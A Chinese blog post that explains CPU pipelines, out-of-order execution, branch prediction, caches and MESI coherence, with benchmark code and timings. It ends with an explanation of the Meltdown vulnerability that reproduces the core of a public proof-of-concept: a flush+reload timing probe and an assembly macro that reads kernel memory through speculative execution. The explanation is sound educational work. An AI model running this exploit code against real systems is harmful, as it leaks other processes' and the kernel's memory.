淺析CPU結構對程式的影響以及熔斷原理

左昱昊霜天發表於2018-03-15

CPU 結構簡介

CPU 指令結構

  • 下表列出了CPU關鍵技術的發展歷程以及代表系列,每一個關鍵技術的誕生都是環環相扣的,處理器這些技術發展歷程都圍繞著如何不讓“CPU閒下來”這一個核心目標展開。
關鍵技術 時間 描述
指令快取(L1) 1982 預讀多條指令
資料快取(L1) 1985 預讀一定長度的資料
流水線 1989 一條指令被拆分由多個單元協同處理, i486
多流水線 1993 多運算單元多流水線並行處理, 奔騰1
亂序+分支預測 1995 充分利用不同元件協同處理, 奔騰Pro
超執行緒 2002 引入多組前端部件共享執行引擎, 奔騰4
多核處理器 2006 取消超執行緒,降低時脈頻率,改用多核心, Core酷睿
多核超執行緒 2008 重新引入超執行緒技術,iX系列

cpu.png

時鐘週期

現代CPU上有很多個計算元件,有邏輯運算,算術運算,浮點運算,讀寫地址等,一條機器指令由多個元件共同協作完成,比如i486的五級流水線中,一條指令就被分解為如下幾個階段:取址,解碼,轉譯,執行,寫回。

cpu-3.png

一條CPU指令由多條機器指令組成,CPU的一個震盪週期,是指這些基礎指令對應元件執行的週期,我們可以簡單地認為,一個時鐘週期的震盪驅動處理器上的所有部件做一次操作,CPU的主頻一般就是指這震盪(時鐘)週期的頻率。

現代計算機的主頻已經逐漸接近物理極限,主頻的大小受限於電晶體工藝,流水線級數,功耗等一系列指標。

流水線

cpu-2.png

由於一條指令由多個元件協作執行,一條指令進入某一階段,則後面的元件都處於空閒狀態,指令在執行的過程中只會有一個元件繁忙,其他元件都是空閒的,所以為了充分解放各個部件的使用,提高利用率,引入了流水線處理機制。

i486開始引入流水線的概念,把一條指令拆成了5個部分,當一個指令進入下一階段,CPU可以直接加在下一條指令,這樣所有的單元都被充分利用起來。

流水線級數越高,每個元件做的事情越少,時鐘週期也就可以做的越短,吞吐量就會越高,目前的主流處理器有高達14級流水線

但是這樣仍然會有一些CPU的空閒存在,被稱為流水線氣泡: 在流水線處理中出現部分元件空閒等待的情況

  1. 出現快慢不一的指令,元器件之間的執行速度不一樣
  2. 出現對元件利用不一樣的指令,比如算數計算和取地指令分別對應不同的處理單元
  3. 出現資料依賴的指令,比如第二條指令的輸入依賴第一條的輸出,或者條件判斷

亂序執行

為了解決流水線氣泡,CPU嘗試把後續的指令提前載入處理,充分解放,1995年引入了亂序執行策略,可以不按順序的執行指令。

亂序執行引入了 微指令(μOP) 的概念,由於操作粒度拆分更細,流水線被進一步升級為“超標量流水線”,高達12級,進一步提高了效能。

拆分後的 μOP 進入重排佇列,由排程器排程各個單元並行執行,每個單元只要資料準備完畢即可開始處理。

但是亂序執行打破了分支判斷的有序性,也就是可以提前執行if else while等jmp相關指令的操作,而完全不等待判斷指令的返回,CPU引入了一個分支判斷出錯則回滾現場的機制,但是這個機制的代價是巨大的,要清空流水線重新取地址。

分支預測

為了解決亂序執行的分支判斷回滾帶來的效能損耗,引入了分支預測模組,該模組的工作原理和快取很像,儲存一個分支判斷指令最近多次的判斷結果,當下次遇到該指令時候,預測出後續走向,改變取指階段的走向。

超執行緒與多核心

在引入引入亂序技術後,指令的準備階段(Front中的取指,轉義,分支判斷,解碼等)仍大於執行階段,導致取指譯碼繁忙而邏輯運算單元空閒,於是CPU把這一部分拆成前端單元(Frontend),引入多前端的超執行緒技術。

超執行緒技術是建立在亂序執行技術上,多個前端翻譯好的 μOP一起進入重排Buffer, 共享ROB單元,從而共享執行引擎。

我們可以簡單地認為,Frontend決定邏輯核數量,Execution決定物理核數量

後續Inter引入多核心技術後,降低了CPU主頻縮短流水線,增加每個單元的工作,企圖通過多核心的優勢來簡化架構,短暫的取消了超執行緒技術(多個總比一個好),後續又重新加入,漸漸變成了現在常見的CPU的多核超執行緒的CPU架構。

CPU 快取結構

Cache Line

  1. L1 Cache,分為資料快取和指令快取,邏輯核獨佔
  2. L2 Cache,物理核獨佔,邏輯核共享
  3. L3 Cache,所有物理核共享

Cache Line可以簡單的理解為Cache之間最小換入換出單元,在64位機器上一般是64B,也就是用6位表達。通常暫存器從Cache上讀資料是以字為單位,Cache之間的更新是以Line為單位,即使只寫一個字的資料,也要把整個Line寫回到記憶體中。

Cache 組織方式

cache-d.png

  1. 全對映: Cache直接對映到記憶體的一片區域,同一個line只能對映在指定的位置,Cache失效率高

cache-f.png

  1. 全關聯: Cache中所有的資料都是Line,Cache失效率低,但是查詢速度慢

cache-a.png

  1. 組關聯: 全對映和全關聯的折中方案,整體對映,區域性關聯

Cache 定址方式

在組關聯的Cache系統中,判斷一個Cache是否命中一般分為兩個階段,記憶體被分為三個部分

  1. 低6個位元組用於CacheLine內的定址
  2. 高位一般劃分為tag和set兩部分,如果總Cache大小32K,8路的組關聯,則每一路是4K,則每一組是4K/64=64,則需要Set的大小是8個位元組

cache-1.jpg

  1. 首先用set索引到對應的組,這一步是直接下標偏移
  2. 然後再用tag+line,在一組中輪訓匹配每一路,這一步是迴圈遍歷

cache-2.jpg

所以一次Cache定址通過一次偏移+一次遍歷即可定位,組關聯通過調整路數來平衡Cache命中率和查詢效率

Cache 一致性

Cache一致性是指,各個核心的Cache以及主記憶體的內容的一致性,這一部分由CPU以一個有限狀態機通過單獨的匯流排通訊保證。 英特爾使用協議是MESI協議。

MESI協議把Cache Line分解為四種狀態,在不同的Cache中,分別有這幾種狀態

  1. Modified 資料有效,資料修改了,和記憶體中的資料不一致,比主記憶體新,資料只存在於當前Cache中。
  2. Exclusiv 資料有效,資料和主記憶體一致,資料只存在於當前Cache中
  3. Shared 資料有效,資料和主記憶體一致,資料存在於多個核心中
  4. Invalid 資料無效,應當被丟棄

同時對於導致狀態出現遷移的的事件也分為四種,任何時

  1. Local Read 本地讀取,本核心讀取本地,同時給其他核心傳送 Remote Read事件
  2. Local Write 本地寫如,本核心寫入資料,同時給其他核心傳送 Remote Write事件
  3. Remote Read 遠端讀取
  4. Remote Write 遠端寫入

cache-s.png

  1. __E->M__: Local Write 事件觸發,本地獨佔資料寫入後變成獨佔且被修改
  2. __M->E__: 不可能發生
  3. __M->S__: Remote Read 事件觸發,由於其他核心要讀,所以要先寫入記憶體,一致後變成多核心共享 Shared
  4. __S->M__: Local Write 事件觸發,多核共享,寫入後變成獨佔修改,同時給核心狀態變成 Invalid
  5. __I->M__: Local Write 事件觸發,無效變成本地有效且獨佔,同時其他核心變成 Invalid
  6. __M->I__: Remote Write 事件觸發,其他核心寫入了資料,本地資料變成無效
  7. __S->E__: 不可能發生
  8. __E->S__: Remote Read 事件觸發,其他核心要讀,所以要先寫入記憶體,一致後變成多核心共享 Shared
  9. __E->I__: Remote Write 事件觸發,其他核心寫入了資料,本地資料變成無效
  10. __I->E__: Local Read 事件觸發,且當其他核心沒有資料時
  11. __I->S__: Local Read 事件觸發,且當其他核心資料有資料時
  12. __S->I__: Remote Write 事件觸發,其他核心寫入了資料,本地資料變成無效

再談記憶體屏障

我們通常會把記憶體屏障理解成解決各個核之間的Cache不同步帶來的問題,其實CPU已經通過硬體級別解決了這個問題。

記憶體屏障主要解決的是編譯器的指令重排和處理器的亂序之行帶來的不可預測性,告訴編譯器不要在再屏障前後打亂指令,同時也告訴處理器在屏障前後不要亂序執行。

實測影響CPU效率的幾大因素(單核)

  • ALU處理單元數量
  • 分支預測成功率
  • 充分利用流水線處理
  • 快取記憶體命中率

測試說明:程式碼中 v_1 v_2 中的數字代表迴圈內展開的數量,比如

  • mov_v_1
    do {
     L0: a = b;
    } while (i++ <= MAX);
  • mov_v_2
    do {
    L0: a = b;
    L1: a = b;
    } while (i++ <= MAX);

同時這些測試是為了驗證CPU的,所以為了防止編譯器優化加了很多迷惑的判斷和標記,所有測試資料來自本地開發機測試。

流水線機制

int main() {

    int a = 0;
    int b = 1;
    long i = 0;
    long MAX = 10000000000; // 1B

    switch(0) {
        x(0);
    }

    do {
        asm("DUMMY1:");
    L0: a = b;
        asm("DUMMY2:");

    } while (i++ <= MAX);


    return 0;
}

當把迴圈展開(總mov次數不變),我們可以看到執行時間會迅速縮短

Case Time Desc
mov_v_1 15.8 (3)
mov_v_2 8.5 (1.5) 去除迴圈開銷,流水線提高運算效率
mov_v_3 5.4 (1) 兩個運算單元可以並行處理
mov_v_4 4.4 (0.75)
mov_v_8 4.1 (0.375)
mov_v_10 3.6 (0.3 )
mov_v_100 3.3 (0.03) 和v_10 差距接近於迴圈的開銷

通過 v_10 和 v_100 我們可以簡單計算出,一次jmp的開銷在 0.3 nm 左右

算術計算器並行優化

int main() {

    int a = 0;
    int b = 1;
    int a0 = 0;
    long i = 0;
    long MAX = 10000000000; // 1B

    switch(0) { x(0); }

    do {
        asm("DUMMY1:");
    L0: a = a + b;
    L1: a0 = a0+b;
        asm("DUMMY2:");
    } while (i++ <= MAX);

    return 0;
}
Case Time Desc
add_v_1 16.7
add_v_10 17.0 10倍迴圈展開,資料有依賴無法流水線並行執行
add_v_10_2 8.6 兩個互不干擾的加法,兩個運算單元可以並行處理
add_v_10_3 8.3 三個互不干擾的加法,只有兩個運算單元達到上限

這個例子中,第二次的 “a=a+b” 必須依賴第一次返回,前後有資料依賴無法充分利用流水線最大化並行處理,當引入第二個a0後,兩個加法互不影響,則計算速度接近翻倍。

乘法計數優化

Case Time Desc
mul_v_1 23.9 乘法的指令週期大於加法指令週期
mul_v_10 24.0 10倍迴圈展開,資料有依賴無法並行執行
mul_v_10_2 12.7 兩個互不干擾的乘法,只有兩個運算單元達到上限

編譯器可以通過位移操作+ADD優化乘法
無符號常量的除法可以等價於乘法+位移,但是對於變數必須用DIV運算子

分支預測優化


int main()
{
    // Generate data
    int arraySize = 100000000; // 0.1B
    int* data = new int[arraySize];

    for (int c = 0; c < arraySize; ++c)
        data[c] = std::rand() % 256;

    // Test
    std::sort(data, data + arraySize);

    clock_t start = clock();

    long sum = 0;
    for (int c = 0; c < arraySize; ++c) {
        if (data[c] >= 128)
            sum += data[c];
    }

    double elapsedTime = static_cast<double>(clock() - start) / CLOCKS_PER_SEC;
    delete[] data;

    printf("%f", elapsedTime);

}
Case Time Desc
if_p_sort 0.21
if_p_nosort 0.71 預測相同指令的結果

隨機陣列會導致 if 判斷的預測變得不可預知,通過對陣列重排,可以讓CPU分支預測命中率達到100%,從而大幅度的減少流水線回退機制,提高亂序執行的吞吐量能力。

分支跳轉優化

  • 第一個例子預設命中if分支

int main() {

    int a = 0;
    int b[] = { 1, 1, 1, 1, 1, 1, 1};
    long i = 0;
    long MAX = 1000000000; // 1B

    switch(0) {
        x(0);
    }

    do {
        asm("DUMMY1:");
    L0: if(b[0] > 0) {
            a ++;
            a ++;
            a ++;
            a ++;
            a ++;
        }
        else {
            a--;
            a--;
            a--;
            a--;
            a--;
        }
        asm("DUMMY2:");

    } while (i++ <= MAX);

    return 0;
}
  • 第二個例子,預設命中else分支
int main() {

    int a = 0;
    int b[] = { 1, 0 , 0, 1, 0, 1, 1};
    long i = 0;
    long MAX = 1000000000; // 1B

    switch(0) {
        x(0);
    }

    do {
        asm("DUMMY1:");
    L0: if( b[0] < 0) {
            a--;
            a--;
            a--;
            a--;
            a--;
        }
        else {
            a++;
            a++;
            a++;
            a++;
            a++;
        }
        asm("DUMMY2:");

    } while (i++ <= MAX);

    return 0;
}
    
Case Time Desc
if_t 26 分支預讀無跳轉
if_f 29 分支預讀跳轉,中斷重新載入

if else判斷會被彙編成 jle 等指令,if的部分緊挨著 jle指令,else的部分被放在後面,所以當
CPU預讀指令亂序執行,首先會預執行jle後續的指令,當判斷生效後再決定是否清除現場跳轉到else
所以在執行效率上,只命中 else 的指令會比只命中 if 的指令慢一點。

C++中的 LIKELY / UNLIKELY 針對於此優化,通過把高命中率的分支上提到 jmp 附近。

本測試中兩者分支預測總是正確但仍然有不小的效能差異,我推測是因為分支預測成功後干擾指令的讀取順序,這一部分本身相比較直接順序讀取也是有開銷的。

Cache測試


   for(K = 1;K < 64*1024;K *= 2) {
        begin = gettime();                    
        for(int i = 0;i<NUMBER;i += K) {
            array[i] +=1;
        }
        end = gettime(); 
   }

cache-test2.png

這個測試通過迴圈遍歷一個大陣列來測試CacheLine邊界對效能的影響,每一次遍歷的步長從一個CPU字長(8Byte)開始,然後翻倍,64B,128B,256B… 等等,然後迴圈次數減半。當步長在一個CacheLine中,在這個CacheLine內部的迴圈會全部命中Cache,跨域Line後才會去下一級Cache中或者記憶體中讀取資料。

cache-test.png

我們看到當K=8 到 K=16 時,即使迴圈減半耗時反而增加,因為K=8時剛好是一個CacheLine的邊界,當跨域這個邊界,每次迴圈都要跨越一級(沒命中的話)去下一級Cache中load資料。

一些效能優化的總結

  1. 暫存器操作以及算術邏輯運算開銷小於定址開銷
  2. 算術計算效能很高,2的乘法以及除法效率很高,常量的除法效率高於變數(編譯器優化)
  3. 可以通過多執行緒利用多核,同樣也可以多次利用單核心的多算術邏輯單元,只是通常收益不是很大
  4. CPU總是會流水線預讀指令,但是資料依賴以及條件跳轉會產生流水線氣泡
  5. 分支回滾代價很大,LIKELY操作把相關的分支上提,增加指令預讀流水線的效率
  6. 分支預測可以有效緩解亂序執行下的流水線氣泡,有序的if判斷可以增加分支預測命中率
  7. 區域性性原理,資料對齊的重要性,合理調整 Cache Line 的邊界,超過64B會出現兩次cache line的讀取
  8. 區域性性原理不僅適用於資料,同樣適用於指令,熱點for迴圈內的程式碼了不易過大(超越L1cache),但也不宜過小(無法充分利用流水線)

cpu指令週期本身很短,大部分時間只需要關注熱點部分的程式碼

Meltdown 漏洞原理

熔斷利用現代作業系統的亂序執行的漏洞,亂序會執行到一些非法的程式碼,但是系統中斷需要時間,資料可能已經讀入Cache,在通過把資料轉換為探測Cache的讀寫速度來確定資料內容。

Meltdown涉及到上述CPU幾個特性, 利用熔斷原理,可以訪問核心空間上的地址,也就是可以訪問任意實體地址,這就代表可以跨程式的非法訪問別的程式中的資料。

攻擊原理介紹

這裡介紹了一下GITHUB上IAIK學院的一個測試程式碼的攻擊原理,下面是核心程式碼以及執行過程

  1. 申請一塊大記憶體,用於做探測記憶體
  2. 註冊SIGSEGV異常處理函式,處理非法訪問後的探測工作
  3. 構造一段程式碼,訪問非法的實體地址
  4. 把訪問後的實體地址投射到探測記憶體上,由於CPU的指令預讀,非法訪問中斷髮生前已經執行了後續指令
  5. 中斷回撥中,遍歷探測記憶體上的資料,找到訪問最快的一個點,進行加權
  6. 多次迴圈上述探測過程,計算出得分最高的那個點,其偏移量就是所要的值

熔斷的探測程式碼如下:


int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() {
  size_t retries = config.retries + 1;
  uint64_t start = 0, end = 0;

  while (retries--) {
      if (!setjmp(buf)) { // 設定長跳轉回撥
          MELTDOWN;       // 熔斷!!!!
    }

    int i; // 作業系統中斷,進入這裡繼續執行
    for (i = 0; i < 256; i++) { // 每隔一頁讀取一個byte測試哪一頁讀取速度最快
        if (flush_reload(mem + i * 4096)) {
        if (i >= 1) {
          return i;
        }
      }
      sched_yield();
    }
    sched_yield();
  }
  return 0;
}

static int __attribute__((always_inline)) flush_reload(void *ptr) {
  uint64_t start = 0, end = 0;

  start = rdtsc(); // 記錄開始時間
  maccess(ptr); 
  end = rdtsc();   // 記錄結束時間

  flush(ptr); // 刷回記憶體

  if (end - start < config.cache_miss_threshold) { // 測試時間差
    return 1;
  }
  return 0;
}

熔斷的核心程式碼如下,也就是上面的 MELTDOWN 巨集 :

#define meltdown_nonull                        
    asm volatile("1:
"                         // 假設 *phy = `a` (0x61)
               "movzx (%%rcx), %%rax
"         // 嘗試讀取核心地址上的資料到rax, $rax = 0x61
               "shl $12, %%rax
"               // rax << 12 == 0x61*4K  ,ZF = 0
               "jz 1b
"                        // 為0則跳轉到1,b代表向後, 總是跳轉
               "movq (%%rbx,%%rax,1), %%rbx
"  // 讀一個word到($rbx+$rax+1) 到 mem,等價於mem + 0x61*4K + 1 ,重新整理cache
               :                               
               : "c"(phys), "b"(mem)            // $rcx = phy, $rbx=mem, $rax inuse
               : "rax");

使用者可以通過 /proc/pid/pagemap 找到當前程式邏輯地址對應的實體地址,然後再通過核心的高階記憶體對映,把實體地址轉換成核心用的邏輯地址,核心的邏輯地址的分頁在核心段,地址也是核心地址,這部分使用者本來是沒許可權訪問的,通過熔斷可以探測這部分地址的內容。


參考文獻:

  1. Intel MeltDown https://meltdown.help/meltdown.pdf
  2. Intel MESI https://en.wikipedia.org/wiki/MESI_protocol
  3. 分支預測測試
    https://stackoverflow.com/questions/11227809/why-is-it-faster-to-process-a-sorted-array-than-an-unsorted-array


相關文章